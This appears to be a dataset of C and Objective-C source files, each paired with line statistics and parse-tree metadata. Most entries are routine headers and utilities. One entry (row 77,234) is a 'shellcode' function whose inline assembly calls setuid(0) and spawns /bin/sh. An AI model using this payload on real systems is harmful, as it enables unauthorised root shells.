{"language": "c", "success": true, "metadata": {"lines": 44, "avg_line_length": 23.02, "nodes": 158, "errors": 0, "source_hash": "e38bae37557cd494fe052667cd34f7952e613e2cfed2cb79ac2c57e7217f3bb7", "categorized_nodes": 106}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifnde...
77,230
c
/* p_integrand.c */ #include <math.h> double f(int n, double *x, void *user_data) { double delta = *(double *)user_data; double x_inte = x[0]; double xval = x[1]; double tau_sqd = x[2]; double tmp1 = x[3]; double tmp2 = x[4]; double tmp3 = x[5]; double tmp4 = x[6]; double half_r...
26.35
17
(translation_unit) "/* p_integrand.c */\n#include <math.h>\ndouble f(int n, double *x, void *user_data) {\n double delta = *(double *)user_data;\n double x_inte = x[0];\n \n double xval = x[1];\n double tau_sqd = x[2];\n double tmp1 = x[3];\n double tmp2 = x[4];\n double tmp3 = x[5];\n double...
187
0
{"language": "c", "success": true, "metadata": {"lines": 17, "avg_line_length": 26.35, "nodes": 143, "errors": 0, "source_hash": "922375d45a496398afc18b9902da410a8bb54a78bc62cae00ce809a39d0233ff", "categorized_nodes": 86}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#incl...
77,231
c
// // MPDesignerSessionCollection.h // HelloZhugeio // // Created by <NAME> on 8/22/14. // Copyright (c) 2014 Zhugeio. All rights reserved. // #import <Foundation/Foundation.h> @protocol MPDesignerSessionCollection <NSObject> - (void)cleanup; @end
21.91
11
(translation_unit) "//\n// MPDesignerSessionCollection.h\n// HelloZhugeio\n//\n// Created by <NAME> on 8/22/14.\n// Copyright (c) 2014 Zhugeio. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n@protocol MPDesignerSessionCollection <NSObject>\n\n- (void)cleanup;\n\n@end\n" (comment) "//" (comment...
33
4
{"language": "c", "success": true, "metadata": {"lines": 11, "avg_line_length": 21.91, "nodes": 18, "errors": 0, "source_hash": "d5edbbabab8e1d2dbe6bef359be83324eb151d8073419eb83fab98d0daf07628", "categorized_nodes": 7}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#import <F...
77,232
c
int sethostent(int) { return 0; }
6
5
(translation_unit) "int\nsethostent(int)\n{\n return 0;\n}\n" (function_definition) "int\nsethostent(int)\n{\n return 0;\n}" (primitive_type) "int" (function_declarator) "sethostent(int)" (identifier) "sethostent" (parameter_list) "(int)" (() "(" (parameter_declaration) "int" ...
17
0
{"language": "c", "success": true, "metadata": {"lines": 5, "avg_line_length": 6.0, "nodes": 9, "errors": 0, "source_hash": "bc06c6da50864e5e242c5c4a7e9accc471f1e8bf7cdaa43a7c4d1e006f2a6a27", "categorized_nodes": 6}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "function_definition", "text": "int\nse...
77,233
c
/* shuffle - shuffle lines */ #include <setjmp.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #include "common.h" #include "lines.h" #define BUF_ABORT nomem() #include "buf.h" static void shuffle(size_t v[], size_t n); static int parseopts(int argc, char **argv, long *seed, int *num...
25.25
125
(translation_unit) "/* shuffle - shuffle lines */\n\n#include <setjmp.h>\n#include <stddef.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n\n#include "common.h"\n#include "lines.h"\n\n#define BUF_ABORT nomem()\n#include "buf.h"\n\nstatic void shuffle(size_t v[], size_t n);\nstatic int parseopts(int argc...
1,286
0
{"language": "c", "success": true, "metadata": {"lines": 125, "avg_line_length": 25.25, "nodes": 780, "errors": 0, "source_hash": "dad93885d3d6b164cd07783b11ba233b03f489a9e67b36331ce182dfab98c3b4", "categorized_nodes": 520}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#in...
77,234
c
void shellcode(){ __asm( "xorq %rdi,%rdi\n\t" "mov $0x69,%rax\n\t" "syscall \n\t" "xorq %rdx, %rdx \n\t" "movq $0x68732f6e69622fff,%rbx; \n\t" "shr $0x8, %rbx; \n\t" "push %rbx; \n\t" "movq %rsp,%rdi; \n\t" "xorq %rax,%rax; \n\t" ...
24.12
26
(translation_unit) "void shellcode(){ \n__asm( "xorq %rdi,%rdi\n\t" \n "mov $0x69,%rax\n\t" \n "syscall \n\t" \n "xorq %rdx, %rdx \n\t" \n "movq $0x68732f6e69622fff,%rbx; \n\t" \n "shr $0x8, %rbx; \n\t" \n "push %rbx; \n\t" \n "movq %rsp,%rdi; \n\t" \n ...
149
0
{"language": "c", "success": true, "metadata": {"lines": 26, "avg_line_length": 24.12, "nodes": 71, "errors": 0, "source_hash": "9c8e1d7612f0ecfc5b3c1ca9765bb9e5a746f130652dfbf8830c52430d467fe6", "categorized_nodes": 28}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "function_definition", "text": "vo...
77,235
c
/* * grove_ir_receiver.h * * Copyright (c) 2012 seeed technology inc. * Website : www.seeed.cc * Author : <NAME> (<EMAIL>) * * The MIT License (MIT) * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Sof...
32.73
165
(translation_unit) "/* \n * grove_ir_receiver.h \n * \n * Copyright (c) 2012 seeed technology inc. \n * Website : www.seeed.cc \n * Author : <NAME> (<EMAIL>) \n * \n * The MIT License (MIT) \n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy \n * of this software and associated...
422
4
{"language": "c", "success": true, "metadata": {"lines": 165, "avg_line_length": 32.73, "nodes": 311, "errors": 0, "source_hash": "8b3410adb6faec042370d693537420ce8983f7135b6a65df1844da17137e144f", "categorized_nodes": 146}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "ERROR", "text": "#ifndef __GRO...
77,236
c
/*************************************************************************************** * Original Author: <NAME> * Created: 2020-05-16 * Copyright: <NAME> (https://github.com/GabrieleGiuseppini) ***************************************************************************************/ #pragma once #include "Ima...
32.08
211
(translation_unit) "/***************************************************************************************\n* Original Author: <NAME>\n* Created: 2020-05-16\n* Copyright: <NAME> (https://github.com/GabrieleGiuseppini)\n***************************************************************************************/\n#p...
1,218
47
{"language": "c", "success": true, "metadata": {"lines": 211, "avg_line_length": 32.08, "nodes": 679, "errors": 0, "source_hash": "afc1c746da2cc11d3ad34132c24f5204cec6dc8abdb249d78f8076aa0271c0d8", "categorized_nodes": 470}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragm...
77,237
c
/* * This an unstable interface of wlroots. No guarantees are made regarding the * future consistency of this API. */ #ifndef WLR_USE_UNSTABLE #error "Add -DWLR_USE_UNSTABLE to enable unstable wlroots features" #endif #ifndef WLR_TYPES_WLR_SUBCOMPOSITOR_H #define WLR_TYPES_WLR_SUBCOMPOSITOR_H #include <stdbool.h> ...
27.2
59
(translation_unit) "/*\n * This an unstable interface of wlroots. No guarantees are made regarding the\n * future consistency of this API.\n */\n#ifndef WLR_USE_UNSTABLE\n#error "Add -DWLR_USE_UNSTABLE to enable unstable wlroots features"\n#endif\n\n#ifndef WLR_TYPES_WLR_SUBCOMPOSITOR_H\n#define WLR_TYPES_WLR_SUBCOMPOS...
251
0
{"language": "c", "success": true, "metadata": {"lines": 59, "avg_line_length": 27.2, "nodes": 193, "errors": 0, "source_hash": "50060df6fa13ba0633a29beb199f3fa807fb22566fd0323d863b043aaaf6ec1b", "categorized_nodes": 157}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef...
77,238
c
/* * acp-c : Arcus C Client Performance benchmark program * Copyright 2013-2014 NAVER Corp. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-...
26.06
78
(translation_unit) "/*\n * acp-c : Arcus C Client Performance benchmark program\n * Copyright 2013-2014 NAVER Corp.\n *\n * Licensed under the Apache License, Version 2.0 (the "License");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www....
431
0
{"language": "c", "success": true, "metadata": {"lines": 78, "avg_line_length": 26.06, "nodes": 261, "errors": 0, "source_hash": "6f8609a2494f8bdfb0ec118fe86c0ccf67fcb1ab515c11fea78461f967656670", "categorized_nodes": 194}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#inc...
77,239
c
#include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <time.h> #include <math.h> /* Each thread will perform a very basic computation The total number of threads can be changed by changing the N_EXTRA_THREADS macro and the size of the iterating loop with N_LOOP. */ /* number of threads actu...
30.29
79
(translation_unit) "#include <pthread.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <time.h>\n#include <math.h>\n\n/* Each thread will perform a very basic computation\n The total number of threads can be changed by changing the \n N_EXTRA_THREADS macro and the size of the iterating loop with \n N_LOOP. ...
612
0
{"language": "c", "success": true, "metadata": {"lines": 79, "avg_line_length": 30.29, "nodes": 370, "errors": 0, "source_hash": "f128f26341a4f6c9351116bca243532507276c9abd916601ff9cfaf255cc418b", "categorized_nodes": 252}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#inc...
77,240
c
/* ======================================================================== * Copyright 2006-2007 University of Washington * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http:...
27.68
161
(translation_unit) "/* ========================================================================\n * Copyright 2006-2007 University of Washington\n *\n * Licensed under the Apache License, Version 2.0 (the "License");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the L...
1,125
0
{"language": "c", "success": true, "metadata": {"lines": 161, "avg_line_length": 27.68, "nodes": 675, "errors": 0, "source_hash": "d9dbdf0ebfb85bf2be2a0431f24a3b46f9d1d029404a29c599c007bfd1ce7b79", "categorized_nodes": 489}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#in...
77,241
c
//==========================================================================// // Copyright <NAME> (<EMAIL>). All Rights Reserved. //================== http://unrealengineresources.com/ =====================// #pragma once #include "IDetailCustomization.h" class IDetailLayoutBuilder; class SWidget; class SEditorScri...
40.04
25
(translation_unit) "//==========================================================================//\n// Copyright <NAME> (<EMAIL>). All Rights Reserved.\n//================== http://unrealengineresources.com/ =====================//\n\n#pragma once\n\n#include "IDetailCustomization.h"\n\nclass IDetailLayoutBuilder;\ncla...
147
5
{"language": "c", "success": true, "metadata": {"lines": 25, "avg_line_length": 40.04, "nodes": 85, "errors": 0, "source_hash": "e20614b1fe03b46990fd1fe11d46d51556539afadc5b7b06ea23aa4365417805", "categorized_nodes": 56}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma o...
77,242
c
#pragma once #include "../base.h" #include "../arg.h" namespace cli { extern const char* command_export_string; void command_export_func(ArgChain& args); }
22.43
7
(translation_unit) "#pragma once\n#include "../base.h"\n#include "../arg.h"\n\nnamespace cli {\n extern const char* command_export_string;\n void command_export_func(ArgChain& args);\n}\n" (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (preproc_include) "#include "....
45
1
{"language": "c", "success": true, "metadata": {"lines": 7, "avg_line_length": 22.43, "nodes": 27, "errors": 0, "source_hash": "803f93346bf6a6ae555eaa265df23f714b54a144081b834649c0db73d54d3fdd", "categorized_nodes": 19}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma on...
77,243
c
#include <stdio.h> #include <stdlib.h> void swap(int firstNumber, int secondNumber); int main() { /* Напишете функция за размяна на две числа. Демонстрирайте работата й. */ swap(24, 13); return 0; } void swap(int firstNumber, int secondNumber) { printf("Before the swap: %d and %d\n", firstNumber, s...
30.25
16
(translation_unit) "#include <stdio.h>\n#include <stdlib.h>\n\nvoid swap(int firstNumber, int secondNumber);\n\nint main()\n{\n /* Напишете функция за размяна на две числа. Демонстрирайте работата й. */\n\n swap(24, 13);\n\n return 0;\n}\n\nvoid swap(int firstNumber, int secondNumber) {\n printf("Before the...
115
0
{"language": "c", "success": true, "metadata": {"lines": 16, "avg_line_length": 30.25, "nodes": 68, "errors": 0, "source_hash": "1c8f3800bba36003b8607df18cf2eb2e26194862af725fdf3a64492bf4818da8", "categorized_nodes": 48}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#inclu...
77,244
c
/* * Copyright (c) 2016 <NAME> (Mithreindeir) * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any damages * arising from the use of this software. * Permission is granted to anyone to use this software for any purpose, * including commer...
25.75
175
(translation_unit) "/*\n* Copyright (c) 2016 <NAME> (Mithreindeir)\n*\n* This software is provided 'as-is', without any express or implied\n* warranty. In no event will the authors be held liable for any damages\n* arising from the use of this software.\n* Permission is granted to anyone to use this software for any p...
1,533
0
{"language": "c", "success": true, "metadata": {"lines": 175, "avg_line_length": 25.75, "nodes": 1002, "errors": 0, "source_hash": "12ea6ffc9b6a224da1fe0b380a82801880028337a431be83fe90799bb9f9403c", "categorized_nodes": 748}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#i...
77,245
c
// // HoonyTaskManager.h // TaskManager // // Created by Cloud_胡 on 16/2/24. // Copyright © 2016年 Cloud_HLH. All rights reserved. // #import <Foundation/Foundation.h> @class HoonyTaskObject; @protocol HoonyTaskDelegate; @interface HoonyTaskManager : NSObject /** * 获取单例对象 * * @return 返回一个单例对象 */ + (instanc...
18.11
56
(translation_unit) "//\n// HoonyTaskManager.h\n// TaskManager\n//\n// Created by Cloud_胡 on 16/2/24.\n// Copyright © 2016年 Cloud_HLH. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\n@class HoonyTaskObject;\n@protocol HoonyTaskDelegate;\n\n@interface HoonyTaskManager : NSObject\n\n/**\n * 获取单例对象\n ...
149
16
{"language": "c", "success": true, "metadata": {"lines": 56, "avg_line_length": 18.11, "nodes": 91, "errors": 0, "source_hash": "21cdc96917d5b0037ef0ae7929347db028966127046956523bc4e8e508d752f5", "categorized_nodes": 50}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "rt <Found...
77,246
c
/* * Copyright (C) 2015-2019 Alibaba Group Holding Limited */ #include "at_internal.h" #include "aos_hal_uart.h" /*-----------------------------UART operates------------------------------------------*/ static int at_init_uart(void *dev) { int ret = 0; ret = aos_hal_uart_init((uart_dev_t *)dev); return re...
29.3
40
(translation_unit) "/*\n * Copyright (C) 2015-2019 Alibaba Group Holding Limited\n */\n\n#include "at_internal.h"\n#include "aos_hal_uart.h"\n\n/*-----------------------------UART operates------------------------------------------*/\nstatic int at_init_uart(void *dev)\n{\n int ret = 0;\n\n ret = aos_hal_uart_init...
292
0
{"language": "c", "success": true, "metadata": {"lines": 40, "avg_line_length": 29.3, "nodes": 191, "errors": 0, "source_hash": "2d96e707d5f490a6e65c8b725f44470f00ea2f50cff51237560fd39963677270", "categorized_nodes": 113}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#incl...
77,247
c
/////////////////////////////////////////////////////////// // DemandResponseProgramListLink.h // Implementation of the Class DemandResponseProgramListLink // Created on: 13-Apr-2020 2:51:24 PM // Original author: svanausdall /////////////////////////////////////////////////////////// #if !defined(EA_E99B0DD8...
37.63
19
(translation_unit) "///////////////////////////////////////////////////////////\n// DemandResponseProgramListLink.h\n// Implementation of the Class DemandResponseProgramListLink\n// Created on: 13-Apr-2020 2:51:24 PM\n// Original author: svanausdall\n///////////////////////////////////////////////////////////\...
61
2
{"language": "c", "success": true, "metadata": {"lines": 19, "avg_line_length": 37.63, "nodes": 30, "errors": 0, "source_hash": "63136c89420e45861a5f27811d532f15a51637d0d967311d934109270f6f6833", "categorized_nodes": 18}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_if", "text": "#if !define...
77,248
c
//Problem C #include <stdio.h> int main() { int num1, num2, num3, num4, nume, deno; printf("Enter 4 numbers: "); scanf("%i", &num1); scanf("%i", &num2); scanf("%i", &num3); scanf("%i", &num4); nume = num1*num4 - num2*num3; deno = num2*num4; printf("%i/%i\n", nume, deno); return 0; }
15.16
19
(translation_unit) "//Problem C \n \n#include <stdio.h> \n \nint main() { \n \nint num1, num2, num3, num4, nume, deno; \nprintf("Enter 4 numbers: "); \nscanf("%i", &num1); \nscanf("%i", &num2); \nscanf("%i", &num3); \nscanf("%i", &num4); \nnume = num1*num4 - num2*num3; \ndeno = num2*num4; \n \nprintf("%i/%i\n", nume, d...
144
0
{"language": "c", "success": true, "metadata": {"lines": 19, "avg_line_length": 15.16, "nodes": 73, "errors": 0, "source_hash": "e7062481995850fc3ba2210593019b19e7315b155a6baab3005a7b5bd7483d49", "categorized_nodes": 57}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#inclu...
77,249
c
/* Generated by RuntimeBrowser Image: /System/Library/PrivateFrameworks/Message.framework/Message */ @interface _MFDAMSUpdateConsumer : _MFDAMSBasicConsumer <MFDASyncActionsConsumer> - (void)commitSyncActions; - (void)drainMailbox; - (bool)handleItems:(id)arg1; - (void)handleResponse:(id)arg1 error:(id)arg2; - (v...
34.6
10
(translation_unit) "/* Generated by RuntimeBrowser\n Image: /System/Library/PrivateFrameworks/Message.framework/Message\n */\n\n@interface _MFDAMSUpdateConsumer : _MFDAMSBasicConsumer <MFDASyncActionsConsumer>\n\n- (void)commitSyncActions;\n- (void)drainMailbox;\n- (bool)handleItems:(id)arg1;\n- (void)handleResponse:...
92
9
{"language": "c", "success": true, "metadata": {"lines": 10, "avg_line_length": 34.6, "nodes": 55, "errors": 0, "source_hash": "da27d181dbedc8a82ef99473cfdb22bbe9cd416baed90642b2bf1ba6259f8a4a", "categorized_nodes": 29}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "ERROR", "text": "@interface _MFDAM...
77,250
c
/* * Copyright (C) 2021 Huawei Device Co., Ltd. * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law ...
37.09
183
(translation_unit) "/*\n * Copyright (C) 2021 Huawei Device Co., Ltd.\n * Licensed under the Apache License, Version 2.0 (the "License");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless...
1,395
0
{"language": "c", "success": true, "metadata": {"lines": 183, "avg_line_length": 37.09, "nodes": 958, "errors": 0, "source_hash": "7c6b17f8b74d471254ad9ffac3dfcfe359f267edcbab17863a2fc0018bb72fb8", "categorized_nodes": 593}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifnd...
77,251
c
/* * RELIC is an Efficient LIbrary for Cryptography * Copyright (C) 2007-2020 RELIC Authors * * This file is part of RELIC. RELIC is legal property of its developers, * whose names are not listed here. Please refer to the COPYRIGHT file * for contact information. * * RELIC is free software; you can redistribute...
26.27
210
(translation_unit) "/*\n * RELIC is an Efficient LIbrary for Cryptography\n * Copyright (C) 2007-2020 RELIC Authors\n *\n * This file is part of RELIC. RELIC is legal property of its developers,\n * whose names are not listed here. Please refer to the COPYRIGHT file\n * for contact information.\n *\n * RELIC is free so...
2,374
6
{"language": "c", "success": true, "metadata": {"lines": 210, "avg_line_length": 26.27, "nodes": 1204, "errors": 0, "source_hash": "f795411b880dfbbc9664ce39b925d7ffd702b4b8cb9e4d6b6a141d61e413c8c1", "categorized_nodes": 1062}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#...
77,252
c
#import <Foundation/Foundation.h> #import <QuartzCore/QuartzCore.h> #import "ABI39_0_0RNSVGLength.h" #ifndef ABI39_0_0RNSVGPropHelper_h #define ABI39_0_0RNSVGPropHelper_h @interface ABI39_0_0RNSVGPropHelper : NSObject + (CGFloat) fromRelativeWithNSString:(NSString *)length relative:(CGFloa...
38.44
16
(translation_unit) "#import <Foundation/Foundation.h>\n#import <QuartzCore/QuartzCore.h>\n#import "ABI39_0_0RNSVGLength.h"\n\n#ifndef ABI39_0_0RNSVGPropHelper_h\n#define ABI39_0_0RNSVGPropHelper_h\n\n@interface ABI39_0_0RNSVGPropHelper : NSObject\n\n+ (CGFloat) fromRelativeWithNSString:(NSString *)length\n ...
138
9
{"language": "c", "success": true, "metadata": {"lines": 16, "avg_line_length": 38.44, "nodes": 85, "errors": 0, "source_hash": "70013cd1db7b5b708ba71e3602ddf1242245bc4cd2ca9e0481b6219b48153b66", "categorized_nodes": 52}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#import <...
77,253
c
// // Generated by classdumpios 1.0.1 (64 bit) (iOS port by DreamDevLost)(Debug version compiled Jun 10 2020 10:03:13). // // Copyright (C) 1997-2019 <NAME>. // #import <objc/NSObject.h> @interface GKDataDetectorsService : NSObject { } + (void)loadStoreGamesListWithCompletionHandler:(CDUnknownBlockType)arg1; //...
40.72
18
(translation_unit) "//\n// Generated by classdumpios 1.0.1 (64 bit) (iOS port by DreamDevLost)(Debug version compiled Jun 10 2020 10:03:13).\n//\n// Copyright (C) 1997-2019 <NAME>.\n//\n\n#import <objc/NSObject.h>\n\n@interface GKDataDetectorsService : NSObject\n{\n}\n\n+ (void)loadStoreGamesListWithCompletionHand...
131
8
{"language": "c", "success": true, "metadata": {"lines": 18, "avg_line_length": 40.72, "nodes": 69, "errors": 0, "source_hash": "528715b3cc0621df87a221e0445d88d9ff77825fae90ae0197c301577760b0a4", "categorized_nodes": 39}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#import <...
77,254
c
#pragma once #include "Resource_.h" #include "MathGeoLib/include/Math/float3.h" #include "MathGeoLib/include/Math/Quat.h" #include "GameObject.h" #include "Color.h" class ResourceTexture; class ResourceMesh : public Resource { friend class ModuleImporter; friend class ResourceModel; friend class ComponentDeforma...
22.55
58
(translation_unit) "#pragma once\n\n#include "Resource_.h"\n#include "MathGeoLib/include/Math/float3.h"\n#include "MathGeoLib/include/Math/Quat.h"\n#include "GameObject.h"\n#include "Color.h"\n\nclass ResourceTexture;\n\nclass ResourceMesh : public Resource {\n\n friend class ModuleImporter;\n friend class ResourceMode...
394
7
{"language": "c", "success": true, "metadata": {"lines": 58, "avg_line_length": 22.55, "nodes": 283, "errors": 0, "source_hash": "55e52dc96eacbb8b4a5693294539b5dbedf13cbeff082567c01cbc26e4a279ef", "categorized_nodes": 146}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma...
77,255
c
// // BSYLiveResolutionModel.h // BSYLiveSDK // // Created by zddMac on 2020/11/19. // Copyright © 2020 zddMac. All rights reserved. // #import <Foundation/Foundation.h> NS_ASSUME_NONNULL_BEGIN @interface BSYLiveResolutionModel : NSObject @property (nonatomic, strong, readonly)NSString *resolution; //清晰度 org-原始...
29.86
14
(translation_unit) "//\n// BSYLiveResolutionModel.h\n// BSYLiveSDK\n//\n// Created by zddMac on 2020/11/19.\n// Copyright © 2020 zddMac. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface BSYLiveResolutionModel : NSObject\n\n@property (nonatomic, strong, readonly)...
69
8
{"language": "c", "success": true, "metadata": {"lines": 14, "avg_line_length": 29.86, "nodes": 44, "errors": 0, "source_hash": "d4aff9cdbb6706a4c7b3f439694d2ef7b1c228eca8a098d5252999b36c4ccbdc", "categorized_nodes": 28}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "import <F...
77,256
c
// // LgPublic.h // LgPublic // // Created by LiGuang on 2020/6/2. // Copyright © 2020 liguang. All rights reserved. // #import <Foundation/Foundation.h> #import <BeeHive/BeeHive.h> ///对外协议 #import "LgUtilsProcotol.h" //! Project version number for LgPublic. FOUNDATION_EXPORT double LgPublicVersionNumber; //! ...
31.35
17
(translation_unit) "//\n// LgPublic.h\n// LgPublic\n//\n// Created by LiGuang on 2020/6/2.\n// Copyright © 2020 liguang. All rights reserved.\n//\n\n#import <Foundation/Foundation.h>\n#import <BeeHive/BeeHive.h>\n\n///对外协议\n#import "LgUtilsProcotol.h"\n\n\n//! Project version number for LgPublic.\nFOUNDATION_EXPORT...
40
1
{"language": "c", "success": true, "metadata": {"lines": 17, "avg_line_length": 31.35, "nodes": 20, "errors": 0, "source_hash": "7b7b4328a7dff6e36e7aeeff1b984d88ae7cc95226618bde02925ef5f00ee65e", "categorized_nodes": 13}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "import <F...
77,257
c
/* Unix SMB/CIFS mplementation. DSDB replication service outgoing Pull-Replication Copyright (C) <NAME> 2007 This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version ...
30.28
203
(translation_unit) "/* \n Unix SMB/CIFS mplementation.\n DSDB replication service outgoing Pull-Replication\n \n Copyright (C) <NAME> 2007\n \n This program is free software; you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software...
1,559
4
{"language": "c", "success": true, "metadata": {"lines": 203, "avg_line_length": 30.28, "nodes": 945, "errors": 0, "source_hash": "0462694ebac3d00da9916dad7612a916c0301afd58b6b689d3a61c209edb3364", "categorized_nodes": 755}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_include", "text": "#in...
77,258
c
#ifndef GCCGC_H #define GCCGC_H #include <assert.h> #include <stdio.h> #define MAX_NAME_SIZE 128 #define OFFSET_OF(struct, member) (unsigned long)&(((struct*)0)->member) #define MEMBER_SIZE(struct, member) sizeof(((struct*)0)->member) #define FMT_MEMBER_INFO(struct, member, ctype, nested_name) { ...
34.67
123
(translation_unit) "#ifndef GCCGC_H\n#define GCCGC_H\n\n#include <assert.h>\n#include <stdio.h>\n\n#define MAX_NAME_SIZE 128\n\n#define OFFSET_OF(struct, member) (unsigned long)&(((struct*)0)->member)\n\n#define MEMBER_SIZE(struct, member) sizeof(((struct*)0)->member)\n\n#define FMT_MEMBER_INFO(struct, member, ctype, n...
617
0
{"language": "c", "success": true, "metadata": {"lines": 123, "avg_line_length": 34.67, "nodes": 452, "errors": 0, "source_hash": "b2b76472fb68358660c6218108697ece3d26e7e9e0b1f1cc80bfdb7b64709019", "categorized_nodes": 292}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifnd...
77,259
c
#ifndef LOGWRITER_H #define LOGWRITER_H #include <Eigen/Eigen> #include <fstream> #include <string> #include "writer.h" class LogWriter : public Writer { public: void open(); }; #endif //LOGWRITER_H
13.79
14
(translation_unit) "#ifndef LOGWRITER_H\n#define LOGWRITER_H\n\n#include <Eigen/Eigen>\n#include <fstream>\n#include <string>\n#include "writer.h"\n\nclass LogWriter : public Writer \n{\npublic:\n \n void open();\n \n};\n#endif //LOGWRITER_H\n" (preproc_ifdef) "#ifndef LOGWRITER_H\n#define LOGWRITER_H\n\n#include <...
47
1
{"language": "c", "success": true, "metadata": {"lines": 14, "avg_line_length": 13.79, "nodes": 29, "errors": 0, "source_hash": "14286ea533278ba8ee287bc258b9641dde2617bcbaf23a6c3018d30a8ad252b3", "categorized_nodes": 23}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef ...
77,260
c
/* * Mathomatic global variable extern definitions, from file "globals.c". * * Copyright (C) 1987-2012 <NAME>. This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the Lic...
28.83
119
(translation_unit) "/*\n * Mathomatic global variable extern definitions, from file "globals.c".\n *\n * Copyright (C) 1987-2012 <NAME>.\n \nThis library is free software; you can redistribute it and/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; ei...
674
0
{"language": "c", "success": true, "metadata": {"lines": 119, "avg_line_length": 28.83, "nodes": 551, "errors": 0, "source_hash": "ff2a92502b8416185c648b5329fad956906a1338adac8c416cddb205fdfa1d37", "categorized_nodes": 322}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "declaration", "text": "extern ...
77,261
c
#ifndef BOX_H_ /* * 0 1 * 2 3 * * 4 5 * 6 7 * * */ class Box { public: float corners[24]; bool PointIsInside(Vector3 v1){ bool x = false; bool y = false; bool z = false; bool greaterThanAll = true; bool lessThanAll = true; for(int i = 0; i < 24;...
24.64
101
(translation_unit) "#ifndef BOX_H_\n\n/*\n * 0 1\n * 2 3\n *\n * 4 5\n * 6 7\n *\n * */\nclass Box {\n public:\n float corners[24];\n \n bool PointIsInside(Vector3 v1){\n bool x = false;\n bool y = false;\n bool z = false;\n\n bool greaterThanAll = true;\n bool lessThanAll...
1,009
0
{"language": "c", "success": true, "metadata": {"lines": 101, "avg_line_length": 24.64, "nodes": 680, "errors": 0, "source_hash": "5372b1c7fcb0f8def53a334fd801e4bc8be2a9f009720f788701c21097491ea9", "categorized_nodes": 502}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifnd...
77,262
c
#include <netdb.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include "resolve.h" #define MAX_IP_LEN 16 #define MAX_IP_ADDR_LEN 4 #define MAX_HOST_LEN 1024 char * resolve(char *ip) { static char previous_ip[MAX_IP_LEN] = ""; static char previous_answer[MAX_HOST_LEN] = ...
25.68
37
